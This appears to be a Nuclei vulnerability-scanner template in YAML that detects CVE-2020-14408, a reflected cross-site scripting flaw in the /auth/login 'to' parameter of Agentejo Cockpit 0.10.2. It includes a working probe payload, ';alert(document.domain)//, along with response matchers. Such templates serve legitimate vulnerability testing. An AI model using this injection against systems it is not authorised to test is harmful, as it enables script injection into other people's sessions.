nuclei-templates/cves/2020/CVE-2020-14408.yaml

42 lines
1.2 KiB
YAML

id: CVE-2020-14408
info:
name: Agentejo Cockpit 0.10.2 - Reflected XSS
author: edoardottt
severity: medium
description: An issue was discovered in Agentejo Cockpit 0.10.2. Insufficient sanitization of the to parameter in the /auth/login route allows for injection of arbitrary JavaScript code into a web page's content, creating a Reflected XSS attack vector.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-14408
cwe-id: CWE-79
reference:
- https://github.com/agentejo/cockpit/issues/1310
- https://nvd.nist.gov/vuln/detail/CVE-2020-14408
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14408
metadata:
verified: true
tags: cve,cve2022,cockpit,agentejo,xss,oss
requests:
- method: GET
path:
- "{{BaseURL}}/auth/login?to=/92874%27;alert(document.domain)//280"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "redirectTo = '/92874';alert(document.domain)//280';"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200